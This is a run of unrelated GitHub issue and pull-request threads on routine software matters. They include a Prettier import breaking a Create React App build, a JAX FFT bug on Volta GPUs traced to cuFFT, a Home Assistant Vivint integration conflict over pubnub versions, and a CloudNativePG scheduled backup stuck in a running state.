This has been fixed in json2jsii. Allowlisting characters !, =, ~.
Fixes https://github.com/cdk8s-team/cdk8s-cli/issues/229

💚 All backports created successfully

Status
Branch
Result

✅
1.x

Questions ?
Please refer to the Backport tool documentation


Importing prettier as a dependency breaks compilation

Please note
I am well aware that having Prettier as an imported dependency is an unusual use case and I am still confident that it is what I want. What I am working on requires formatting code that the end user has entered. I'm not saying this to be snarky, I just know it's the first question I'd have :)
Is this a bug report?
Yes.

Did you try recovering your dependencies?
Yes, I have created a new CRA project, installed prettier as the only extra dependency and upgraded yarn before installing.
Which terms did you search for in User Guide?
"compile", "failed to compile", "module parse failed", "loader"
Environment

node -v: v8.4.0
npm -v: v5.6.0
yarn --version (if you use Yarn): 1.3.2
npm ls react-scripts (if you haven’t ejected):

<EMAIL_ADDRESS>└──<EMAIL_ADDRESS>Operating system: macos Sierra 10.12.6
Steps to Reproduce

You can reproduce the issue by doing the following:

npx creat-react-app CRA-prettier-test.git && cd CRA-prettier-test
yarn
yarn add prettier
Add import prettier from "prettier"; to the top of ./src/index.js
yarn start

The problem is that this project will not compile.
Expected Behavior
That prettier doesn't break compilation! If you comment out the prettier import at ./src/index.js:6 in my example project this is the behaviour you should see.
Actual Behavior
The project should immediately show the following error:

Reproducible Demo
I've created a very simple example project demonstrating the problem at https://github.com/tonyonodi/CRA-prettier-test you can use it to replicate the problem with

git clone https://github.com/tonyonodi/CRA-prettier-test.git && cd CRA-prettier-test
yarn
yarn start

Here's the relevant issue.
@tonyonodi you should also subscribe to this issue since apparently latest prettier can't run in-browser right now anyway.

Thanks for investigating, @heyimalex!

Thanks @heyimalex! I happen to be using CRA in Electron so hopefully I'll be able to fix this by refactoring the project so that Prettier isn't bundled by webpack.

This is an issue with using Prettier on the web, not CRA: https://github.com/prettier/prettier/issues/3296

looks like it was fixed upstream


Fix missing Checkout types

Summary & motivation
Version 1.21.0 introduce a small issue and Checkout types are not being exported.
This simple fix seems to do the trick. Feel free to close this if you already have it or I'm missing something, just trying to help :)
Testing & documentation
I think no tests are required in this case, really simple fix.
This is the issue I'm trying to fix: https://github.com/stripe/stripe-js/issues/259

Oops, look like I missed this in #255. Apologies @richnologies, and thanks for the PR!

@richnologies I published this as v1.21.1

Wow, that was fast @christopher-stripe, thanks


how to connect dbflow to existed content provider?

Hey there and thanks for great dbflow
I have a big android project with hundreds of connections from UI to DB ( a content provider ).
now planned to setup dbflow in our code. but we need a great plan to how start, and how to connect dbflow to existed CP, or ....
Thank you.

this is a question for stackoverflow. DBFlow can be used to generate content providers or you can roll your own which calls the DBFlow wrapper methods.


Add Cosmos Nodes to nownodes monitoring

Overview
The current list of nodes monitored that are being provided by NowNodes at: https://nownodes-1712072512758.site24x7statusiq.com/ is not a complete list of nodes we currently consume.
References and additional details
https://nownodes-1712072512758.site24x7statusiq.com/
No Cosmos (also no BASE or RUNE)
Acceptance Criteria
Have https://nownodes-1712072512758.site24x7statusiq.com/ monitoring match the nodes we currently consume from Now Nodes.
Need By Date
No response
Screenshots/Mockups
No response
Estimated effort
No response

closing
https://nownodes-cosmos-1720629913743.site24x7statusiq.com
single status page is at limit


Added sqlserver compatibility including CI

this PR relatest to https://github.com/brooklyn-data/dbt_artifacts/issues/194
Backlog:
Making sure the adapter you're supporting implements the type helpers used in the source models.
Adding overwrites for the custom type helpers if required
If required, creating adapter-specific version of the upload_* macros.
Adding SQLServer CI support
I do not have access to a snowflake, databricks or bigquery server so relying on the CI tests to confirm all is working.

I've reviewed the linting errors and I can't figure out why the code is failing for most of the exceptions. For example, there's nothing obviously wrong with the two items in the attached pic. Any help would be appreciated.

I've reviewed the linting errors and I can't figure out why the code is failing for most of the exceptions. For example, there's nothing obviously wrong with the two items in the attached pic. Any help would be appreciated.

@NiallRees hoping you can provide some assistance - I'm at a loss trying to figure out why most of the linting failed.

I've reviewed the linting errors and I can't figure out why the code is failing for most of the exceptions. For example, there's nothing obviously wrong with the two items in the attached pic. Any help would be appreciated.

@NiallRees hoping you can provide some assistance - I'm at a loss trying to figure out why most of the linting failed.

Hi @jgilfillan - don't worry about those. I'll try and review the PR this week!

@NiallRees is there anything else you're waiting on from me to accept this pr?

Hi @jgilfillan thank you for contributing with this, and I'm really sorry that our response has been delayed. We are going to work through the issue backlog now, and get to reviewing this again as soon as possible.

Hi @jgilfillan thank you for contributing with this, and I'm really sorry that our response has been delayed. We are going to work through the issue backlog now, and get to reviewing this again as soon as possible.

Any progress on approving this PR?

Hi @jgilfillan thank you for contributing with this, and I'm really sorry that our response has been delayed. We are going to work through the issue backlog now, and get to reviewing this again as soon as possible.

Would be good to get an indication if there are any plans to merge this code. The SQL Server compatibility was added on the advice from this project that it would be accepted. So if this has changed it would be good to communicate this so alternative plans can be made (for SQL Server, Synapse, Fabric).

@glsdown can you please give us an update on this one?


Adding support for @dding accounts

Can you add support for being able to "tag" other accounts?

Can you add support for being able to "tag" other accounts?

ok, i will plan it

@546200350 Is this now supported? You can tag accounts via @jaredsburrows?

@jaredsburrows
update the latest script， i have add this feature

@546200350 Thank you!


Update index.html

[x] Have you followed the contributing guidelines?
[ x] Have you explained what your changes do, and why they add value to the Guides?

Please note: we will close your PR without comment if you do not check the boxes above and provide ALL requested information.

moxie99:patch-2


Change shortcut classes to functions

ss.days() should be a function that returns ss.dur(..., unit='day')

Closed by #727


feat(ci): custom steps for other phases

This enables custom CI steps to be inserted into the CI process. These steps run alongside one of the following existing CI tasks:

plan
build-local-artifacts
build-global-artifacts
host (fka should-publish)

Additional publish-time jobs were already supported.
Implementation note: I expose these to the GitHub CI tooling as strings, but they're parsed from Config.toml as a new JobStyle enum. Right now the only type of JobStyle is User, which just wraps a string; I went for this both as an analogue to how we handle publish jobs, and so that we can automatically strip ./ on the way in and add it back on the way out - again like we do with publish jobs. This also gives us freedom to add new builtin jobs to each of these arrays in the future.

Inserted the appropriate dependencies.


Allow usage on no_std targets and targets using portable-atomic

This pull requests replaces this crate's dependency on libstd with libcore, allowing it to be used on no_std targets. In addition, it adds a feature called atomic-polyfill, which uses the crate of the same name to provide AtomicUsize on no_std targets.

The atomic-polyfill and the feature-based approach it recommends can very easily introduce unsoundness when the dependency enables that feature. (Even if they no longer provide a default implementation, even if they warn about it in their documentation. -- I have seen many libraries in the async ecosystem where the similar feature to select TLS or runtime is enabled by default or always enabled. So, I believe that such an approach is fundamentally fragile.)
See also https://github.com/mvdnes/spin-rs/issues/114 and https://github.com/tokio-rs/bytes/issues/461#issuecomment-1072028462.

I see that in the issues you linked portable-atomic as a potential alternative. Would you be fine with that instead?

I've ported this code to use portable-atomic instead.

I just added a check to the CI that builds on a no_std target.


System timer

Description

Pull request type

[ ] Fix
[ ] Refactor
[ ] New target
[-] Feature
[ ] Breaking change

@RobMeades formatting updated


Fixes SNAP-418 - unified log names

unified log names  for locator , server and leader

Looks good for merge.

@nthanvi Please delete branches after merge especially now that we are open source. Cannot let the public branches keep growing. See my previous note about this. Also that branches are for SnappyData employees only while external contributors will contribute via PRs on their own forks.


Multiple Hue Hubs

Hi,
Just started with home-assistant.
I have two Hue hubs and I see the docs mention multiple Light components so I have tried to do this but only one hub is discovered. I disconnected that hub and the other hub is not found. I've added the Host line after each entry to specify the IP address but that doesn't help and throws an error "15-09-16 08:36:17 homeassistant.loader: Unable to find component host"
Looking in the Hue bridges I don't see any entry for the homeassistant app (there are others - IFTTT for example) even for the bridge that is discovered.
Will home-assistant really support multiple Hue Bridges or is this just multiple types (Wink/Hue)?
Following is from my config file:
light:
platform: hue
host: <IP_ADDRESS>
light 2:
platform: hue
host: <IP_ADDRESS>

Why did you comment out the platform?
light:
  platform: hue
  host: <IP_ADDRESS>

light 2:
  platform: hue
  host: <IP_ADDRESS>

Paulus,
Noobie error!
And I guess that there is no problem with multiple Hue bridges. I actually have three ‘cos they are virtually free with a ;right pack. I currently need two and might deploy a third in a detached building.
Looking forward to using this platform, thanks for patience and the rapid response. I’ll correct it now and see what happens!

On 16 Sep 2015, at 17:00, Paulus Schoutsen<EMAIL_ADDRESS>wrote:
Why did you comment out the platform?
light:
platform: hue
host: <IP_ADDRESS>
light 2:
platform: hue
host: <IP_ADDRESS>
—
Reply to this email directly or view it on GitHub https://github.com/balloob/home-assistant/issues/384#issuecomment-140767960.

That's it, found both bridges and all the lights. Now the fun begins!

There is still a problem. Phue is designed with only one config file Phue.conf where it stores the IP address and the User. Is it possible to somehow have more than one file or for the code to look up the correct User by IP address. Currently the last registered bridge is remembered and other has to be setup again on each HA start.

Ooh yes you're right. Guess two hubs is not possible right now
On Thu, Sep 17, 2015, 22:16 lespatots<EMAIL_ADDRESS>wrote:

Reopened #384 https://github.com/balloob/home-assistant/issues/384.
—
Reply to this email directly or view it on GitHub
https://github.com/balloob/home-assistant/issues/384#event-412876998.

It looks like the config file is a dict. Should support extra bridges without changing it's format.
The hue component code (or phue api), is probably a different story.


Show current tag

Is there any way to show the current vcs tag alongside the branch name? For example, my current HEAD is c4bb843 - (HEAD -> master, tag: v0.47.1, origin/master) v0.47.1 and i'd like to see
 master   v0.47.1

Yup! We actually have this feature already. Unfortunately, it was broken right before the v0.5.0 release. The fix is in the next branch, and will be in v0.5.1.
If you want to use it immediately, just check out the next branch for now =)
https://github.com/bhilburn/powerlevel9k/tree/next


Non-RGB multichannels can be 3

In pull request #115 for issue #66, a logic was implemented that converts multichannels to RGB if they are three.
In our use case, we have non-RGB channels, that can be 2, 4 or sometimes 3. The problem is that independent channels have very different value ranges and are not necessarily normalized, so that one RGB component is dominating. Furthermore, the visualization does not represent physical colors and can be misleading to the viewer.

Is there a way to set up the SpatialData object to explicitly use colors from the metadata, and avoid interpretation as RGB?
I think Napari's logic is that c must be 3 and additionally the order provided by the user must be yxc to interpret an image as RGB.

Hi @aeisenbarth, at the moment it is the case that in case of 3 or 4 channels it is interpreted as RGB. I will implement an RGB argument similar to napari which should support your usecase.

I also found that in _get_affine_for_images_labels (on branch spatialdata), we could also inspect channel names, if these are always available for true RGB images:
{"r", "g", "b"} <= set(element["scale0"].coords.indexes["c"]) # for MultiscaleSpatialImage

These are not always available for true RGB images as far as I know. @LucaMarconato could you pitch in?

Thanks @aeisenbarth for reporting. I think that a quick workaround would be to implement the RGB argument mentioned by @melonora to mimic the napari's functionality. I also think that the clean solution would be to rely exclusively on channel name and ensure that they are always present when needed by:

add an argument rgb: bool = None in ImageModel.parse() to give a convenience function to the user to set the channel names. The behavior could be to set the names to r, g, b based on the number of channels when rgb is None or is True, but also to give a printed log to the user when rgb is None.
modifying the readers of spatialdata-io to use the rgb=True parameter when calling ImageModel.parse().

I could do a PR for this.
I didn't find ImageModel, I assume Image2DModel (and 3D). The parse function is implemented in RasterSchema, so instead of copying the full signature to Image2DModel just to add one argument, I could add the rgb argument in RasterSchema (but it is also used by labels) or even better in to_spatial_image because there is also c_coord.
If rgb is None and there are 3 or 4 channels and c_coords is not explicitly passed, I would set it to True and log it. Then if rgb is True, I would set c_coords to ["r", "g", "b"] (or "a").
In napari-spatialdata, change the RGB detection based on names in c_coords.
The behavior would be unchanged for rgb=None, I don't know the formats in spatialdata-io well enough to know whether its right to interprete them as RGB?

some like visium would be RGB

Ok, so I propse now four PRs: https://github.com/spatial-image/spatial-image/pull/21, https://github.com/scverse/spatialdata/pull/342, napari-spatialdata#153, https://github.com/scverse/spatialdata-io/pull/78

Thanks a lot for the contribution @aeisenbarth, amazing work! I have merged the PR in spatialdata, but before the others I would wait for the one in spatial-image as otherwise it would probably lead to problems. But looks really good to me!

Images are still bright red.
Can someone please have a look at the PRs? The issue will continue to persist as long as not all of them are merged.
So far, only one is merged and these are still open:

https://github.com/spatial-image/spatial-image/pull/21
https://github.com/scverse/napari-spatialdata/pull/153
https://github.com/scverse/spatialdata-io/pull/78

spatialdata-plot has this problem, I'll have to check whether it also needs a PR.

yes we are at a hackathon currently, sorry for it taking so long!

I asked @thewtex whether the PR in spatial-image can be merged.

Yes! Done and released.

Thanks!

Thanks! Now the only blocker is this PR: https://github.com/scverse/spatialdata/issues/395, I will try to address it soon.

I will take it up this evening

Thanksss! I'd expect that change to break many parts across all the repos, we can also split the work. Let's sync via Zulip.

@aeisenbarth just as an update, I opened https://github.com/scverse/spatialdata/pull/587 to change to the new version of SpatialImage that includes your PR there. Waiting for it to be reviewed before continueing.

@aeisenbarth this issue can be closed right?

Tested, it works. Thanks @aeisenbarth @melonora.


Remove key field from provider.Manifest in the k8s plugin

What this PR does:

remove key field from provider.Manifest of k8s plugin, and make it in Key() method
add test to ensure application config's namespace is used when applying the manifests
refactor the tests to reduce duplicated codes

Why we need it:

To reduce modification after the creation of the Manifest instance

Which issue(s) this PR fixes:
Part of #4980
Does this PR introduce a user-facing change?: No

How are users affected by this change:
Is this breaking change:
How to migrate (if breaking change):

I applied #5450 changes to this PR.
@ffjlabo Sorry, please re-review this PR.


CTRL+Space opens "Select Request" window instead of Auto-complete popup.

Expected Behavior
When I'm writing the unit test code and I hit CTRL+Space I expect to see a code assistance popup, similar to what I see in most IDEs.
Actual Behavior
Instead, Insomnia opens the "Select Request" window to choose a request. I do see some code completions in the foreground (see screenshot) so it seems there's a shortcut overlap somewhere. Also, the window that appears doesn't really seem to be about the request I am working with because it does not change the request when I chose one.

Reproduction Steps

Create at least two requests in the "Debug" tab - I'll call them Request 1 and Request 2 forward.
Switch to the Test tab and create at least one Test.

In the --Select Request-- dropdown, select Request 1 created in the first step.

Put the cursor between the parentheses in the send() code in the first line.

Press CTRL+Space.
The issue should happen now.

Optionally...

Choose Request 2 in the Select Request popup window that should have not appeared and click Done.

See that Request 1 is still selected in the dropdown box.

Is there an existing issue for this?

[X] I have searched the issue tracker for this problem.

Additional Information
Insomnia Version
2023.5.8
What operating system are you using?
Windows
Operating System Version
Windows 11 Enterprise version 22H2 build 22621.2134
Installation method
Download from https://insomnia.rest/
Last Known Working Insomnia version
No response

@faustool this is fixed in a merged PR #6477 and will go out in an upcoming release


Code does not support git submodules

VSCode Version: Code 1.15.1 (41abd21afdf7424c89319ee7cb0445cc6f376959, 2017-08-16T18:07:25.676Z)
OS Version: Windows_NT x64 10.0.15063
Extensions:

Extension
Author (truncated)
Version

vscode-jasmine-es5
dee
1.0.1

gitlens
eam
4.3.2

tslint
eg2
0.17.0

code-runner
for
0.6.28

Angular2
joh
2.4.0

typescript-hero
rbb
1.3.0

html-css-class-completion
Zig
1.8.0

Steps to Reproduce:

Create a git repo with a submodule
Open this git repo in Code
Add a change in the submodule and commit this change
Make sure you checkout this commit (of the submodule) in the parent repo
The parent repo should now contain a unstaged change with the new pointer to the new commit of the submodule
When you open this change in Code, a error message is shown in a popup notification

Reproduces without extensions: Yes/No

Track here #7829

@yoyo837 - Please use the reactions icon (the "plus smileyface" symbol in the upper right corner of a Github issue) to add a :+1: symbol to issues, rather than posting a "+1" comment like you did on the #7829 comment thread. The reactions icon allows the MS maintainer team to sort issues by the number of :+1: reactions, while simply adding a "+1" comment does not help them. Also, adding a "+1" comment spams everyone who comments on the issue, sending them an email notification that contains absolutely nothing that they'll find useful. (And that is why I'm mentioning that here, rather than in the comment thread for #7829, because this way you'll see it but I won't spam the 25 people subscribed to that other thread).

@rmunn Ok, I got it. Thanks.


Wrong outputs from FFT on GPU

It's kinda hard to describe what's going on. I've tried to narrow it down as much as possible, but at this point I can't think of many more ways.
Also, I've tried to come up with a reasonably simple example, but it's probably possible to simplify it some more.
Problem Description:
Imports
from functools import partial

import matplotlib
import matplotlib.pyplot as plt
import numpy as np
import jax
from jax import jit
from jax import numpy as jnp

matplotlib.rc("image", cmap="gray")

Let's define some functions.
# Probably none of the specifics of these functions matter,
# since JIT will turn the return value to a constant, as seen
# by checking the jaxpr

@partial(jit, static_argnums=(0, 1))
def create_gaussian(shape, sigma):
    xs = jnp.arange(shape[0], dtype="float32") - shape[0] // 2
    ys = jnp.arange(shape[1], dtype="float32") - shape[1] // 2
    xx = xs[:, None]
    yy = ys[None, :]
    return jnp.exp((xx ** 2) / (-2 * sigma[0] ** 2) + (yy ** 2) / (-2 * sigma[1] ** 2))

@partial(jit, static_argnums=(0, 1))
def create_gaussian_rfft(shape, sigma):
    return jnp.fft.rfftn(jnp.fft.ifftshift(create_gaussian(shape, sigma)))

The result of the first run of the following code:
gaussian = jnp.fft.fftshift(jnp.fft.irfftn(create_gaussian_rfft((2048, 2048), (2.0, 5.0))))
gaussian_np = np.asarray(gaussian)
n, m = gaussian.shape

fig, ax = plt.subplots(figsize=(10, 10))
ax.imshow(gaussian_np)

looks fine:

But when running the exact same code again (not including the function definitions) here's what I get:

After that the outcome will alternate between those two versions.
I've tried to eyeball the width of the Gaussian in axis 0, it's about 160. Funny thing is that if I put 160 instead of 2, it seems to alternate between the same versions, only starting with the wide one.
Things that fix it:

This behavior occurs on a Volta GPU (Titan V) with CUDA 10.2 and driver version 440.x. I mention that because I tried to reproduce the issue on another machine (Pascal GPU, Titan Xp) with an older driver version 418.x, without success.
(I would have tested the Volta system with older driver versions and/or older CUDA, but I'm using the Ubuntu repo, and it doesn't like downgrading the driver while keeping CUDA somewhat recent.)
Likewise, the issue does not occur when I use an array or a list instead of a tuple for the sigma parameter. But I guess that's because it triggers recompilation.
Removing the FFT from the picture and just generating the array also eliminates the issue.
The non-jitted versions also don't exhibit the problem.
And finally, making the sigma argument of create_gaussian_rfft dynamic by using static_argnums=(0,) also makes the problem go away.

I think this is an XLA/GPU bug caused by irfft mutating its inputs. Here's a simpler repro:
import jax.numpy as jnp
import numpy as np

x = np.random.randn(2048, 1025) + np.random.randn(2048, 1025) * 1j
y = jnp.asarray(x)
print(y)
jnp.fft.irfftn(y)
print(y + 0.)  # Note the addition to force a new copy rather than caching.
jnp.fft.irfftn(y)
print(y + 0.)  # Note the addition to force a new copy rather than caching.

In theory this should print the same value three times. In practice it does not.
I filed an (internal) issue with the XLA folks.

(A workaround would be to use CPU.)

Thanks @hawkinsp for your quick answer. I can confirm that your simpler repro behaves the same as my example (results differ on Volta, but not on Pascal).
Any idea why this depends on GPU architecture? Do the FFT algos differ between them?

Our current hypothesis is this is a bug in CuFFT, which would explain why it depends on the GPU architecture.

Just found this bit in the "Data Layout" section of the cuFFT documentation:
Note that in-place complex-to-real FFTs may overwrite arbitrary imaginary input point
values when non-unit input and output strides are chosen. Out-of-place complex-to-real
FFT will overwrite input buffer if custom strides are set by the user.

Possibly the "may" is the architecture-dependent part.

Nice find! That's a surprising definition of "out-of-place", to say the least.

Indeed. This should be a big red warning in the docs.
To be fair, FFTW has the same behavior (see under FFTW_PRESERVE_INPUT) and doesn't necessarily do a better job at warning about it.

Is there a solution in sight on this issue? For my application it blocks me from using RFFT on Volta.

I've asked the XLA folks to work around the NVIDIA IRFFT bug by cloning the input for all IRFFTs. Hopefully that can happen relatively quickly.
(If any NVIDIA folks are reading this, this is partners bug # 2959622 )
Interestingly PyTorch also seems to have experienced the same bug: https://github.com/pytorch/pytorch/issues/34551

I believe this is fixed with jaxlib 0.1.51. The XLA folks added a workaround which is to copy the input buffer for IRFFTs. Hopefully NVidia will fix this problem and we can avoid the copy in the future, but this fixes the user-visible problem at least.
Please reopen if you are still having problems!


Fix Rollbar JS middleware truncating response body

The JS middleware injects Rollbar JS snippet into the response body if not already added.
If for some reason the Content-Length header was previously set by another middleware, we also need to update that header to reflect the new response body size.
Fixes #960.

@wpolicarpo Thank you!

https://github.com/rollbar/rollbar-gem/releases/tag/v2.26.0


Initial configuration error

Hi, and thank you so much for this integration. I can't wait to use it.
I've run into a few issues configuring this integration, though.
Here is my current HA version info
Home Assistant 2022.7.7
Supervisor 2022.07.0
Operating System 8.4
Frontend 20220707.1 - latest
Here is my current HACS version
Integration version: | 1.26.2
Frontend version: |<PHONE_NUMBER>3628
Repositories: | 1071
Downloaded repositories: | 3
Here are the steps I ran through
Using HACS (see https://hacs.xyz/ for installation instructions if you do not already have it installed):
From within Home Assistant, click on the link to HACS
Click on Integrations
Click on the vertical ellipsis in the top right and select Custom repositories.
Enter the URL for this repository in the section that says Add custom repository URL and select Integration in the Category dropdown list
Click the ADD button
Close the Custom repositories window
You should now be able to see the Vivint card on the HACS Integrations page. Click on INSTALL and proceed with the installation instructions. I didn't get an INSTALL button here just a download, so I did that.
Restart your Home Assistant instance and then proceed to the Configuration section below.
The configuration went fine until I ran into the following error after signing into vivint and adding my password.

I clicked to check the logs and see the following error. I'm unsure how to troubleshoot this and would greatly appreciate any help you can provide. Thank you.
This error originated from a custom integration.
Logger: homeassistant.config_entries
Source: custom_components/vivint/hub.py:94
Integration: Vivint (documentation, issues)
First occurred: 9:42:43 AM (3 occurrences)
Last logged: 9:44:31 AM
Error setting up entry user@gmail.com(changed to dummy email for this post) for vivint
Traceback (most recent call last):
File "/usr/src/homeassistant/homeassistant/config_entries.py", line 353, in async_setup
result = await component.async_setup_entry(hass, self)
File "/config/custom_components/vivint/init.py", line 59, in async_setup_entry
await hub.login(load_devices=True, subscribe_for_realtime_updates=True)
File "/config/custom_components/vivint/hub.py", line 94, in login
await self.account.connect(
File "/usr/local/lib/python3.10/site-packages/vivintpy/account.py", line 72, in connect
await self.subscribe_for_realtime_updates(authuser_data)
File "/usr/local/lib/python3.10/site-packages/vivintpy/account.py", line 167, in subscribe_for_realtime_updates
self.__pubnub = PubNubAsyncio(pnconfig)
File "/usr/local/lib/python3.10/site-packages/pubnub/pubnub_asyncio.py", line 38, in init
super(PubNubAsyncio, self).init(config)
File "/usr/local/lib/python3.10/site-packages/pubnub/pubnub_core.py", line 97, in init
@abstractmethod
File "/usr/local/lib/python3.10/site-packages/pubnub/pnconfiguration.py", line 39, in validate
assert self.uuid is None or isinstance(self.uuid, str)
File "/usr/local/lib/python3.10/site-packages/pubnub/pnconfiguration.py", line 42, in validate_not_empty_string
self.uuid = utils.uuid()
AssertionError: UUID missing or invalid type

Do you mind sharing what other integrations you have installed in Home Assistant? This particular error is from a new version of pubnub, but the underlying package for this integration restricts the version that should be installed. So I'm curious if you have another integration installed that requires a later version, thus conflicting with this integration.

Thank you for your reply. I have the following integrations:
August
Denon AVR network receivers
Denon HEOS
Dialogflow Webhook
Ecobee
Google Cast
HACS
Home Assistant Supervisor
HomeKit Controller
Meteorologisk Institutte
MQTT
Philips Hue
Sun
Synology DSM
TP-Link Kasa Smart
Unifi Network
WiZ

August uses pubnub as well it looks like. It requires the same minimum version, but doesn't restrict higher versions like the vivintpy library.  Since you likely installed that first, it probably downloaded pubnub version 6.x. I think if you uninstalled both Vivint and August, restarted Home Assistant, then installed Vivint first, followed by August, both would work fine together until I have a chance to update the vivintpy library to support pubnub>=6.x

Sounds good. I'll give that a shot. Thank you.

I believe that did it. Thank you so much for your help. I do have one last question. Do you know if you can control the Kwikset door locks from home assistant(ie lock and unlock)?

Awesome. And yes, locks are controllable


[Bug]: Scheduled backups stuck

Is there an existing issue already for this bug?

[X] I have searched for an existing issue, and could not find anything. I believe this is a new bug.

I have read the troubleshooting guide

[X] I have read the troubleshooting guide and I think this is a new bug.

I am running a supported version of CloudNativePG

[X] I have read the troubleshooting guide and I think this is a new bug.

Contact Details
No response
Version
1.24.0
What version of Kubernetes are you using?
1.29
What is your Kubernetes environment?
Cloud: Amazon EKS
How did you install the operator?
Helm
What happened?
Backups appear to start, but remain in a "running" state and do not complete.  No data is written to S3.  The data to backup is only 50GB and I waited a couple of hours.
Backups were working when first setup, but appear to have stopped working after the K8S nodes running the cluster were shutdown and later restarted (the NodeGroup they were running in was brought down to a desired size of 0).
The Cluster shows the following condition from several days ago (when the nodes were shutdown and later restarted).
    Message:               New Backup starting up
    Reason:                BackupStarted
    Status:                False
    Type:                  LastBackupSucceeded

The cluster is otherwise very healthy.
I tried testing barman-cloud-backup as suggested in the docs, but unfortunately I cannot get into the pod as root, so the command fails as it does not have access to a writable tmp directory.
#kubectl -n cnpg-database exec -it pod/cnpg-cluster-7 -- barman-cloud-backup -v -t --user postgres --endpoint-url https://s3.ca-central-1.amazonaws.com --cloud-provider aws-s3 s3://***redacted***/DbBackups/QA/CNPG cnpg-cluster
...
FileNotFoundError: [Errno 2] No usable temporary directory found in ['/tmp', '/var/tmp', '/usr/tmp', '/']
command terminated with exit code 1

I could not find anything of relevance in the log files.  It just seems like the command is stuck waiting for something.
Any suggestions about how to debug this further would be welcome.
Cluster resource
Name:         cnpg-cluster
Namespace:    cnpg-database
Labels:       app.kubernetes.io/instance=cnpg
              app.kubernetes.io/managed-by=Helm
              app.kubernetes.io/name=cluster
              app.kubernetes.io/part-of=cloudnative-pg
              helm.sh/chart=cluster-0.0.10
Annotations:  cnpg.io/reloadedAt: 2024-08-30T14:37:17.225109-04:00
              meta.helm.sh/release-name: cnpg
              meta.helm.sh/release-namespace: cnpg-database
API Version:  postgresql.cnpg.io/v1
Kind:         Cluster
Metadata:
  Creation Timestamp:  2024-08-25T16:15:46Z
  Generation:          11
  Resource Version:    801371533
  UID:                 bf1b61d0-b106-4a7b-8902-4025e2303437
Spec:
  Affinity:
    Node Selector:
      Nodetype:              cnpg
    Pod Anti Affinity Type:  preferred
    Topology Key:            topology.kubernetes.io/zone
  Backup:
    Barman Object Store:
      Data:
        Compression:     gzip
        Encryption:      AES256
        Jobs:            2
      Destination Path:  ***redacted***
      Endpoint URL:      https://s3.ca-central-1.amazonaws.com
      s3Credentials:
        Access Key Id:
          Key:   ACCESS_KEY_ID
          Name:  cnpg-cluster-backup-s3-creds
        Secret Access Key:
          Key:   ACCESS_SECRET_KEY
          Name:  cnpg-cluster-backup-s3-creds
      Wal:
        Compression:   gzip
        Encryption:    AES256
        Max Parallel:  1
    Retention Policy:  30d
    Target:            prefer-standby
  Bootstrap:
    Initdb:
      Database:             iv
      Encoding:             UTF8
      Locale C Type:        C
      Locale Collate:       C
      Owner:                iv
  Enable PDB:               true
  Enable Superuser Access:  true
  Failover Delay:           0
  Image Name:               ghcr.io/cloudnative-pg/postgresql:15.2
  Image Pull Policy:        IfNotPresent
  Instances:                3
  Log Level:                info
  Max Sync Replicas:        0
  Min Sync Replicas:        0
  Monitoring:
    Custom Queries Config Map:
      Key:                    queries
      Name:                   cnpg-default-monitoring
    Disable Default Queries:  false
    Enable Pod Monitor:       true
  Postgres GID:               26
  Postgres UID:               26
  Postgresql:
    Parameters:
      archive_mode:                on
      archive_timeout:             5min
      dynamic_shared_memory_type:  posix
      effective_cache_size:        10GB
      effective_io_concurrency:    256
      log_destination:             csvlog
      log_directory:               /controller/log
      log_filename:                postgres
      log_rotation_age:            0
      log_rotation_size:           0
      log_truncate_on_rotation:    false
      logging_collector:           on
      max_connections:             1716
      max_parallel_workers:        32
      max_replication_slots:       32
      max_stack_depth:             6MB
      max_wal_senders:             20
      max_worker_processes:        32
      min_wal_size:                512MB
      shared_memory_type:          mmap
      shared_preload_libraries:
      ssl_max_protocol_version:    TLSv1.3
      ssl_min_protocol_version:    TLSv1.3
      wal_keep_size:               512MB
      wal_level:                   logical
      wal_log_hints:               on
      wal_receiver_timeout:        5s
      wal_sender_timeout:          5s
    Sync Replica Election Constraint:
      Enabled:              false
  Primary Update Method:    switchover
  Primary Update Strategy:  unsupervised
  Replication Slots:
    High Availability:
      Enabled:      true
      Slot Prefix:  _cnpg_
    Synchronize Replicas:
      Enabled:        true
    Update Interval:  30
  Resources:
  Smart Shutdown Timeout:  180
  Start Delay:             3600
  Stop Delay:              1800
  Storage:
    Resize In Use Volumes:  true
    Size:                   200Gi
  Switchover Delay:         3600
  Wal Storage:
    Resize In Use Volumes:  true
    Size:                   50Gi
Status:
  Available Architectures:
    Go Arch:  amd64
    Hash:     f20cbc18bb03eafc1b02c90a8872b8e7a199e63196e6ce546029ea2a503bb883
    Go Arch:  arm64
    Hash:     e28f9109055832cc1fa1ece7866547f267b43e16c800d7b4335cab24ad5420d4
  Certificates:
    Client CA Secret:  cnpg-cluster-ca
    Expirations:
      Cnpg - Cluster - Ca:           2024-11-23 16:10:47 +0000 UTC
      Cnpg - Cluster - Replication:  2024-11-23 16:10:47 +0000 UTC
      Cnpg - Cluster - Server:       2024-11-23 22:34:24 +0000 UTC
    Replication TLS Secret:          cnpg-cluster-replication
    Server Alt DNS Names:
      cnpg-cluster-rw
      cnpg-cluster-rw.cnpg-database
      cnpg-cluster-rw.cnpg-database.svc
      cnpg-cluster-rw.cnpg-database.svc.cluster.local
      cnpg-cluster-r
      cnpg-cluster-r.cnpg-database
      cnpg-cluster-r.cnpg-database.svc
      cnpg-cluster-r.cnpg-database.svc.cluster.local
      cnpg-cluster-ro
      cnpg-cluster-ro.cnpg-database
      cnpg-cluster-ro.cnpg-database.svc
      cnpg-cluster-ro.cnpg-database.svc.cluster.local
    Server CA Secret:             cnpg-cluster-ca
    Server TLS Secret:            cnpg-cluster-server
  Cloud Native PG Commit Hash:    5fe5bb6b
  Cloud Native PG Operator Hash:  f20cbc18bb03eafc1b02c90a8872b8e7a199e63196e6ce546029ea2a503bb883
  Conditions:
    Last Transition Time:  2024-08-30T22:12:59Z
    Message:               Cluster is Ready
    Reason:                ClusterIsReady
    Status:                True
    Type:                  Ready
    Last Transition Time:  2024-08-30T20:35:33Z
    Message:               Continuous archiving is working
    Reason:                ContinuousArchivingSuccess
    Status:                True
    Type:                  ContinuousArchiving
    Last Transition Time:  2024-08-25T16:24:01Z
    Message:               New Backup starting up
    Reason:                BackupStarted
    Status:                False
    Type:                  LastBackupSucceeded
  Config Map Resource Version:
    Metrics:
      Cnpg - Default - Monitoring:  789469700
  Current Primary:                  cnpg-cluster-6
  Current Primary Timestamp:        2024-08-30T20:35:32.514945Z
  Healthy PVC:
    cnpg-cluster-5
    cnpg-cluster-5-wal
    cnpg-cluster-6
    cnpg-cluster-6-wal
    cnpg-cluster-7
    cnpg-cluster-7-wal
  Image:  ghcr.io/cloudnative-pg/postgresql:15.2
